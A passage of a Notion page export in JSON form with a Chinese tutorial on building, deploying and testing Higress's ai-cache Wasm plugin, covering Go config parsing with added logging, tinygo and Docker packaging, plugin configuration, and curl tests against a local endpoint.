on"]]},"created_time":1719542772480,"last_edited_time":1719542797684,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"6b713d92-b7a1-4d46-a9b3-9e713fdd675b":{"value":{"id":"6b713d92-b7a1-4d46-a9b3-9e713fdd675b","type":"text","properties":{"title":[["就按照下图填写就完了"]]},"created_time":1719542807093,"last_edited_time":1719542821198,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"5f3da559-9c03-4584-abe6-4f8201e892ef":{"value":{"id":"5f3da559-9c03-4584-abe6-4f8201e892ef","type":"image","properties":{"size":[["126.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9ecb57b-e445-4952-8321-083591045628/Untitled.png"]]},"format":{"block_width":1048,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9ecb57b-e445-4952-8321-083591045628/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1.1975190839694656,"block_preserve_scale":true},"created_time":1719542747261,"last_edited_time":1719542754455,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["a9ecb57b-e445-4952-8321-083591045628"]}},"f298b4e7-cc4b-43e0-8c37-8eadab4aab07":{"value":{"id":"f298b4e7-cc4b-43e0-8c37-8eadab4aab07","type":"sub_sub_header","properties":{"title":[["配置AI代理插件"]]},"created_time":1719542650221,"last_edited_time":1719542972673,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"86fa16f3-51f9-4450-b80d-5c4523b75d0a":{"value":{"id":"86fa16f3-51f9-4450-b80d-5c4523b75d0a","type":"text","properties":{"title":[["这里要把插件打开,并且把${your_qwen_token},${your_file_id}填写上去"]]},"created_time":1719542986957,"last_edited_time":1719543041300,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"76232abf-787a-4b74-8733-2d3fe6b6cc5b":{"value":{"id":"76232abf-787a-4b74-8733-2d3fe6b6cc5b","type":"image","properties":{"size":[["83.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/306af1fb-2d85-4ad1-add6-12bbc4ed3e4c/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/306af1fb-2d85-4ad1-add6-12bbc4ed3e4c/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3328137178487919,"block_preserve_scale":true},"created_time":1719542973159,"last_edited_time":1719542977334,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["306af1fb-2d85-4ad1-add6-12bbc4ed3e4c"]}},"19890a07-9a2f-4157-a585-71ccad54ac76":{"value":{"id":"19890a07-9a2f-4157-a585-71ccad54ac76","type":"text","created_time":1719543166331,"last_edited_time":1719543166331,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"b4d5af40-22b0-483f-aa1f-1b61c644e769":{"value":{"id":"b4d5af40-22b0-483f-aa1f-1b61c644e769","type":"sub_header","properties":{"title":[["LLM访问验证"]]},"created_time":1719542650346,"last_edited_time":1719543179062,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"3aa577f9-84a5-4555-a9ef-fa5c0747d8b8":{"value":{"id":"3aa577f9-84a5-4555-a9ef-fa5c0747d8b8","type":"text","properties":{"title":[["上面配置好了,此时你的llm就可以使用了"]]},"created_time":1719543179062,"last_edited_time":1719543181148,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"474b67b0-7b45-4cae-a90d-7e354fd5774a":{"value":{"id":"474b67b0-7b45-4cae-a90d-7e354fd5774a","type":"code","properties":{"title":[["#测试访问\n#注意这里是8080端口\ncurl 'http://localhost:8080/api/openai/v1/chat/completions' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'Content-Type: application/json' \\\n --data-raw '{\"model\":\"qwen-long\",\"frequency_penalty\":0,\"max_tokens\":800,\"stream\":false,\"messages\":[{\"role\":\"user\",\"content\":\"higress项目主仓库的github地址是什么\"}],\"presence_penalty\":0,\"temperature\":0.7,\"top_p\":0.95}'\n\n#如果返回如下格式说明成功\n{\n \"id\": \"from-cache\",\n \"choices\": [\n {\n \"index\": 0,\n \"message\": {\n \"role\": \"assistant\",\n \"content\": \"Higress项目的GitHub主仓库地址为: https://github.com/higress-group/higress-group.github.io\"\n },\n \"finish_reason\": \"stop\"\n }\n ],\n \"model\": \"gpt-4o\",\n \"object\": \"chat.completion\",\n \"usage\": {\n \"prompt_tokens\": 0,\n \"completion_tokens\": 0,\n \"total_tokens\": 0\n }\n}"]],"language":[["Bash"]]},"created_time":1719543094862,"last_edited_time":1719560124375,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"765281fe-a0e2-43f2-b8dd-875d9729d351":{"value":{"id":"765281fe-a0e2-43f2-b8dd-875d9729d351","type":"sub_header","properties":{"title":[["官方demo添加"]]},"created_time":1719542280794,"last_edited_time":1719561040322,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"cdea9d78-2995-4399-8f3f-2162723cf139":{"value":{"id":"cdea9d78-2995-4399-8f3f-2162723cf139","type":"sub_sub_header","properties":{"title":[["加点日志"]]},"created_time":1719543509524,"last_edited_time":1719544314254,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"812603c5-13a4-42a5-bb1d-2476d5d27fbd":{"value":{"id":"812603c5-13a4-42a5-bb1d-2476d5d27fbd","type":"text","properties":{"title":[["上面我们已经把项目拷贝下来了,找到官方ai-cache的demo的parseConfig方法,在这里加点日志,等下我们去观察日志插件是否生效"]]},"created_time":1719543532696,"last_edited_time":1719543603957,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"c24cbf20-5538-4678-922a-042464e6b51a":{"value":{"id":"c24cbf20-5538-4678-922a-042464e6b51a","type":"image","properties":{"size":[["160.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/fa7a094b-89b9-481a-8706-e894d6da5d4a/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/fa7a094b-89b9-481a-8706-e894d6da5d4a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.36278059377262856,"block_preserve_scale":true},"created_time":1719543528075,"last_edited_time":1719543534070,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["fa7a094b-89b9-481a-8706-e894d6da5d4a"]}},"3941e759-db69-4cd3-94bf-d377e0755b3a":{"value":{"id":"3941e759-db69-4cd3-94bf-d377e0755b3a","type":"code","properties":{"title":[["func parseConfig(json gjson.Result, c *PluginConfig, log wrapper.Log) error {\n\tlog.Info(\"开始读取配置...\")\n\n\t// 读取redis的基本配置\n\tc.RedisInfo.ServiceName = json.Get(\"redis.serviceName\").String()\n\tif c.RedisInfo.ServiceName == \"\" {\n\t\tlog.Error(\"Redis 服务名不能为空\")\n\t\treturn errors.New(\"redis service name must not be empty\")\n\t}\n\tlog.Infof(\"Redis 服务名: %s\", c.RedisInfo.ServiceName)\n\n\tc.RedisInfo.ServicePort = int(json.Get(\"redis.servicePort\").Int())\n\tif c.RedisInfo.ServicePort == 0 {\n\t\tif strings.HasSuffix(c.RedisInfo.ServiceName, \".static\") {\n\t\t\t// use default logic port which is 80 for static service\n\t\t\tc.RedisInfo.ServicePort = 80\n\t\t} else {\n\t\t\tc.RedisInfo.ServicePort = 6379\n\t\t}\n\t}\n\tlog.Infof(\"Redis 服务端口: %d\", c.RedisInfo.ServicePort)\n\n\tc.RedisInfo.Username = json.Get(\"redis.username\").String()\n\tlog.Infof(\"Redis 用户名: %s\", c.RedisInfo.Username)\n\n\tc.RedisInfo.Password = json.Get(\"redis.password\").String()\n\tlog.Info(\"Redis 密码已读取\")\n\n\tc.RedisInfo.Timeout = int(json.Get(\"redis.timeout\").Int())\n\tif c.RedisInfo.Timeout == 0 {\n\t\tc.RedisInfo.Timeout = 1000\n\t}\n\tlog.Infof(\"Redis 超时时间: %d ms\", c.RedisInfo.Timeout)\n\n\tc.CacheKeyFrom.RequestBody = json.Get(\"cacheKeyFrom.requestBody\").String()\n\tif c.CacheKeyFrom.RequestBody == \"\" {\n\t\tc.CacheKeyFrom.RequestBody = \"messages.@reverse.0.content\"\n\t}\n\tlog.Infof(\"Cache Key From RequestBody: %s\", c.CacheKeyFrom.RequestBody)\n\n\tc.CacheValueFrom.ResponseBody = json.Get(\"cacheValueFrom.responseBody\").String()\n\tif c.CacheValueFrom.ResponseBody == \"\" {\n\t\tc.CacheValueFrom.ResponseBody = \"choices.0.message.content\"\n\t}\n\tlog.Infof(\"Cache Value From ResponseBody: %s\", c.CacheValueFrom.ResponseBody)\n\n\tc.CacheStreamValueFrom.ResponseBody = json.Get(\"cacheStreamValueFrom.responseBody\").String()\n\tif c.CacheStreamValueFrom.ResponseBody == \"\" {\n\t\tc.CacheStreamValueFrom.ResponseBody = \"choices.0.delta.content\"\n\t}\n\tlog.Infof(\"Cache Stream Value From ResponseBody: %s\", c.CacheStreamValueFrom.ResponseBody)\n\n\tc.ReturnResponseTemplate = json.Get(\"returnResponseTemplate\").String()\n\tif c.ReturnResponseTemplate == \"\" {\n\t\tc.ReturnResponseTemplate = `{\"id\":\"from-cache\",\"choices\":[{\"index\":0,\"message\":{\"role\":\"assistant\",\"content\":\"%s\"},\"finish_reason\":\"stop\"}],\"model\":\"gpt-4o\",\"object\":\"chat.completion\",\"usage\":{\"prompt_tokens\":0,\"completion_tokens\":0,\"total_tokens\":0}}`\n\t}\n\tlog.Info(\"Return Response Template 已读取\")\n\n\tc.ReturnStreamResponseTemplate = json.Get(\"returnStreamResponseTemplate\").String()\n\tif c.ReturnStreamResponseTemplate == \"\" {\n\t\tc.ReturnStreamResponseTemplate = `data:{\"id\":\"from-cache\",\"choices\":[{\"index\":0,\"delta\":{\"role\":\"assistant\",\"content\":\"%s\"},\"finish_reason\":\"stop\"}],\"model\":\"gpt-4o\",\"object\":\"chat.completion\",\"usage\":{\"prompt_tokens\":0,\"completion_tokens\":0,\"total_tokens\":0}}` + \"\\n\\ndata:[DONE]\\n\\n\"\n\t}\n\tlog.Info(\"Return Stream Response Template 已读取\")\n\n\tc.CacheKeyPrefix = json.Get(\"cacheKeyPrefix\").String()\n\tif c.CacheKeyPrefix == \"\" {\n\t\tc.CacheKeyPrefix = DefaultCacheKeyPrefix\n\t}\n\tlog.Infof(\"Cache Key Prefix: %s\", c.CacheKeyPrefix)\n\n\tc.redisClient = wrapper.NewRedisClusterClient(wrapper.FQDNCluster{\n\t\tFQDN: c.RedisInfo.ServiceName,\n\t\tPort: int64(c.RedisInfo.ServicePort),\n\t})\n\tlog.Info(\"Redis 客户端实例已创建\")\n\n\terr := c.redisClient.Init(c.RedisInfo.Username, c.RedisInfo.Password, int64(c.RedisInfo.Timeout))\n\tif err != nil {\n\t\tlog.Errorf(\"Redis 客户端初始化失败: %v\", err)\n\t\treturn err\n\t}\n\tlog.Info(\"Redis 客户端初始化成功\")\n\n\tlog.Info(\"配置初始化成功\")\n\treturn nil\n}"]],"language":[["Go"]]},"created_time":1719543613424,"last_edited_time":1719543648072,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"97524be0-46aa-42f4-9ee8-5dd9cb5a4c9e":{"value":{"id":"97524be0-46aa-42f4-9ee8-5dd9cb5a4c9e","type":"code","properties":{"title":[["还有一个问题onHttpRequestHeaders函数\n最后有一个"],["return types.HeaderStopIteration\n最好先改成return types.ActionContinue\n\n我不太懂HeaderStopIteration含义,之前卡住的时候我改成ActionContinue就好了",[["i"]]]],"language":[["Bash"]]},"created_time":1719547050669,"last_edited_time":1719547108623,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"17c55c65-0391-420c-9330-d10ac17c46e8":{"value":{"id":"17c55c65-0391-420c-9330-d10ac17c46e8","type":"sub_sub_header","properties":{"title":[["打包插件+push"]]},"created_time":1719542281066,"last_edited_time":1719562281235,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"a76b617b-2ca9-43d3-bf80-d082de342b72":{"value":{"id":"a76b617b-2ca9-43d3-bf80-d082de342b72","type":"code","properties":{"title":[["#进入ai-cache的目录\ncd ~/higress/plugins/wasm-go/extensions/ai-cache\n\n#用tinygo打包\ntinygo build -o main.wasm -scheduler=none -target=wasi -gc=custom -tags=\"custommalloc nottinygc_finalizer\" ./\n\n#需要看看本地有main.wasm生成没有\n#作者验证过,macos+arm打包不了\n\n#当前目录新建一个DockerFile\nvim DockerFile\n#写入\nFROM scratch\nCOPY main.wasm plugin.wasm\n\n#登陆阿里云docker\ndocker login --username=${your_docker_username} registry.cn-hangzhou.aliyuncs.com\n#输入密码${your_docker_psw}\n\n#开始build,注意我这里版本是1.0.0\ndocker build -t registry.cn-hangzhou.aliyuncs.com/${your_docker_namespace}/${your_docker_repository}:1.0.0 -f Dockerfile .\n\n#推送到远程docker\ndocker push registry.cn-hangzhou.aliyuncs.com/${your_docker_namespace}/${your_docker_repository}:1.0.0\n\n#此时得到你的插件地址了\nregistry.cn-hangzhou.aliyuncs.com/${your_docker_namespace}/${your_docker_repository}:1.0.0"]],"language":[["Bash"]]},"created_time":1719543679160,"last_edited_time":1719544270662,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"f27c866e-a576-49ef-a107-e856aac86deb":{"value":{"id":"f27c866e-a576-49ef-a107-e856aac86deb","type":"sub_sub_header","properties":{"title":[["添加ai-cache插件"]]},"created_time":1719541976838,"last_edited_time":1719544295771,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"8ecc1e9b-bab3-4b09-a228-ec334a476819":{"value":{"id":"8ecc1e9b-bab3-4b09-a228-ec334a476819","type":"text","properties":{"title":[["继续访问higress管理页面"],["http://localhost:800",[["a","http://localhost:8001/plugin"]]],["1,新增插件"]]},"created_time":1719544331182,"last_edited_time":1719544754809,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"6f352941-b471-4daf-9323-05951bb7ea09":{"value":{"id":"6f352941-b471-4daf-9323-05951bb7ea09","type":"text","properties":{"title":[["插件名称:ai-cache"]]},"created_time":1719546902550,"last_edited_time":1719546907760,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"14a6bb01-6dc8-4c3f-9ae7-bd8a058cd347":{"value":{"id":"14a6bb01-6dc8-4c3f-9ae7-bd8a058cd347","type":"text","properties":{"title":[["镜像地址:上面你推送过去的地址,这个的ocl://前缀可以不填写,他是自己加上的"]]},"created_time":1719546908003,"last_edited_time":1719546953054,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"83feb7fd-0a16-4c88-a8a8-85294c8c0d73":{"value":{"id":"83feb7fd-0a16-4c88-a8a8-85294c8c0d73","type":"text","properties":{"title":[["执行阶段:认证阶段"]]},"created_time":1719546957094,"last_edited_time":1719546965354,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"36c61f1e-a21c-4bba-8875-fd4ca734fbf2":{"value":{"id":"36c61f1e-a21c-4bba-8875-fd4ca734fbf2","type":"text","properties":{"title":[["优先级:99"]]},"created_time":1719546965582,"last_edited_time":1719559758189,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"8fd6c7b8-b2ec-49de-8774-0ee5b4b9df90":{"value":{"id":"8fd6c7b8-b2ec-49de-8774-0ee5b4b9df90","type":"text","properties":{"title":[["~现在插件没有启动,还要其他配置"]]},"created_time":1719559767837,"last_edited_time":1719559795562,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"0eba2b10-044d-443a-a4ad-e09870a285da":{"value":{"id":"0eba2b10-044d-443a-a4ad-e09870a285da","type":"image","properties":{"size":[["164.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b6e913dd-4aef-48ef-a328-52e50eca9783/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b6e913dd-4aef-48ef-a328-52e50eca9783/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.46003176283748015,"block_preserve_scale":true},"created_time":1719546841080,"last_edited_time":1719546860806,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["b6e913dd-4aef-48ef-a328-52e50eca9783"]}},"2a0a93ee-5fc5-4d7f-a39d-bb216a13af40":{"value":{"id":"2a0a93ee-5fc5-4d7f-a39d-bb216a13af40","type":"sub_sub_header","properties":{"title":[["访问日志查看"]]},"created_time":1719544331312,"last_edited_time":1719559800707,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"38066a88-ac54-4a23-b12a-0864f210dc6c":{"value":{"id":"38066a88-ac54-4a23-b12a-0864f210dc6c","type":"code","properties":{"title":[["#进入higress容器内部,比如我本地CONTAINER ID = ac11f4f3588a\ndocker exec -it ${your_container_id} bash\n\n#查看日志\n#由于我们之前配置了环境变量GATEWAY_COMPONENT_LOG_LEVEL=misc:error,wasm:debug\ntail -f /var/log/higress/gateway.log\n"]],"language":[["Bash"]]},"created_time":1719559809370,"last_edited_time":1719560003569,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"c4777b82-903c-49f6-945d-a007f92081e5":{"value":{"id":"c4777b82-903c-49f6-945d-a007f92081e5","type":"sub_sub_header","properties":{"title":[["配置+启动插件"]]},"created_time":1719544331448,"last_edited_time":1719560013263,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"9e8b8dcb-ebe3-441d-bfa4-3501396f5cc9":{"value":{"id":"9e8b8dcb-ebe3-441d-bfa4-3501396f5cc9","type":"text","properties":{"title":[["这里要先复制,再开启,配置如下"]]},"created_time":1719560307971,"last_edited_time":1719562317099,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"40ae184f-58ee-4140-bf97-4aef93f213eb":{"value":{"id":"40ae184f-58ee-4140-bf97-4aef93f213eb","type":"image","properties":{"size":[["209.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/260b2838-e55d-4ce6-9285-89912b5f195b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/260b2838-e55d-4ce6-9285-89912b5f195b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5288018433179723,"block_preserve_scale":true},"created_time":1719560265186,"last_edited_time":1719560270105,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["260b2838-e55d-4ce6-9285-89912b5f195b"]}},"a4e83c11-7de4-47e0-815e-e04a30dc9a46":{"value":{"id":"a4e83c11-7de4-47e0-815e-e04a30dc9a46","type":"code","properties":{"title":[["cacheKeyFrom:\n requestBody: \"messages.@reverse.0.content\"\ncacheStreamValueFrom:\n responseBody: \"choices.0.delta.content\"\ncacheValueFrom:\n responseBody: \"choices.0.message.content\"\nredis:\n serviceName: \"redis.static\"\n timeout: 2000\nreturnResponseTemplate: |\n {\"id\":\"from-cache\",\"choices\":[{\"index\":0,\"message\":{\"role\":\"assistant\",\"content\":\"%s\"},\"finish_reason\":\"stop\"}],\"model\":\"gpt-4o\",\"object\":\"chat.completion\",\"usage\":{\"prompt_tokens\":0,\"completion_tokens\":0,\"total_tokens\":0}}\nreturnStreamResponseTemplate: |-\n data:{\"id\":\"from-cache\",\"choices\":[{\"index\":0,\"delta\":{\"role\":\"assistant\",\"content\":\"%s\"},\"finish_reason\":\"stop\"}],\"model\":\"gpt-4o\",\"object\":\"chat.completion\",\"usage\":{\"prompt_tokens\":0,\"completion_tokens\":0,\"total_tokens\":0}}\n data:[DONE]"]],"language":[["YAML"]]},"created_time":1719560335520,"last_edited_time":1719560346259,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"36b213fb-1d6b-49ac-91a9-c8523cd109b8":{"value":{"id":"36b213fb-1d6b-49ac-91a9-c8523cd109b8","type":"text","properties":{"title":[["此时看看刚才我们开启的日志,出现以下字样说明没问题了"]]},"created_time":1719544729909,"last_edited_time":1719560652929,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"a852f401-a240-493a-a307-1e58c9a51941":{"value":{"id":"a852f401-a240-493a-a307-1e58c9a51941","type":"image","properties":{"size":[["1001.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ea40295d-b169-4884-9094-7ec8a41b6877/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ea40295d-b169-4884-9094-7ec8a41b6877/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5602350636630754,"block_preserve_scale":true},"created_time":1719560564303,"last_edited_time":1719560570462,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"file_ids":["ea40295d-b169-4884-9094-7ec8a41b6877"]}},"f48546e3-c680-42e6-9025-835a15d48bdc":{"value":{"id":"f48546e3-c680-42e6-9025-835a15d48bdc","type":"sub_sub_header","properties":{"title":[["验证ai-cache"]]},"created_time":1719544730164,"last_edited_time":1719560980153,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"e0198d9d-bee1-43f2-8c98-d909bb3a5dbc":{"value":{"id":"e0198d9d-bee1-43f2-8c98-d909bb3a5dbc","type":"code","properties":{"title":[["#测试访问\n#注意这里是8080端口\ncurl 'http://localhost:8080/api/openai/v1/chat/completions' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'Content-Type: application/json' \\\n --data-raw '{\"model\":\"qwen-long\",\"frequency_penalty\":0,\"max_tokens\":800,\"stream\":false,\"messages\":[{\"role\":\"user\",\"content\":\"higress项目主仓库的github地址是什么\"}],\"presence_penalty\":0,\"temperature\":0.7,\"top_p\":0.95}'\n\n#连续两次访问,如果间隔很短,就说明生效了\n\n#我们之前把redis映射出来了,可以用redis客户端上去看看key,这里就不多赘述了"]],"language":[["YAML"]]},"created_time":1719560980460,"last_edited_time":1719562327234,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"c8ef17bd-13c6-4396-be1d-8256e23a134b":{"value":{"id":"c8ef17bd-13c6-4396-be1d-8256e23a134b","type":"sub_sub_header","properties":{"title":[["迭代升级"]]},"created_time":1719544730249,"last_edited_time":1719561474909,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"f7f082d9-81cf-4286-ba17-d6b7f8c5f474":{"value":{"id":"f7f082d9-81cf-4286-ba17-d6b7f8c5f474","type":"quote","properties":{"title":[["后续去higress管理页面,修改ai-cache的镜像地址就行\n所以每次代码更新,需要打包代码,打包镜像,推送到docker仓库,修改插件镜像地址"]]},"created_time":1719561478484,"last_edited_time":1719561538149,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true}},"18d599e1-6787-4e98-b68b-91678b24309f":{"value":{"id":"18d599e1-6787-4e98-b68b-91678b24309f","type":"text","format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"c42b26e2-cc60-4040-8203-49df13a58ef1":{"value":{"id":"c42b26e2-cc60-4040-8203-49df13a58ef1","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"052dd490-3628-4abf-9ec8-17362390afee":{"value":{"id":"052dd490-3628-4abf-9ec8-17362390afee","type":"column_list","content":["ee32d92f-a5e6-4cc9-8b24-1abc08248add","f49fb055-2837-4f80-896b-c5ef75f91a20","72ad435a-6af9-4918-b2c9-035ce0afea76"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"c44da1db-da2a-426d-9160-1cfb46d946ff":{"value":{"id":"c44da1db-da2a-426d-9160-1cfb46d946ff","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"ee32d92f-a5e6-4cc9-8b24-1abc08248add":{"value":{"id":"ee32d92f-a5e6-4cc9-8b24-1abc08248add","type":"column","content":["dc93975c-3de4-4bf7-b7c8-542ffae6ec94"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"052dd490-3628-4abf-9ec8-17362390afee","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"f49fb055-2837-4f80-896b-c5ef75f91a20":{"value":{"id":"f49fb055-2837-4f80-896b-c5ef75f91a20","type":"column","content":["83ed2aa4-065b-4e6f-ab73-289b79d3c7e9","839b215f-6196-4210-81b3-4fe0b4d5cb64"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"052dd490-3628-4abf-9ec8-17362390afee","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"72ad435a-6af9-4918-b2c9-035ce0afea76":{"value":{"id":"72ad435a-6af9-4918-b2c9-035ce0afea76","type":"column","content":["27fd9602-be31-47f0-86b8-ca4dfe54e9bd"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719380157223,"last_edited_time":1719380157223,"parent_id":"052dd490-3628-4abf-9ec8-17362390afee","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"dc93975c-3de4-4bf7-b7c8-542ffae6ec94":{"value":{"id":"dc93975c-3de4-4bf7-b7c8-542ffae6ec94","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","space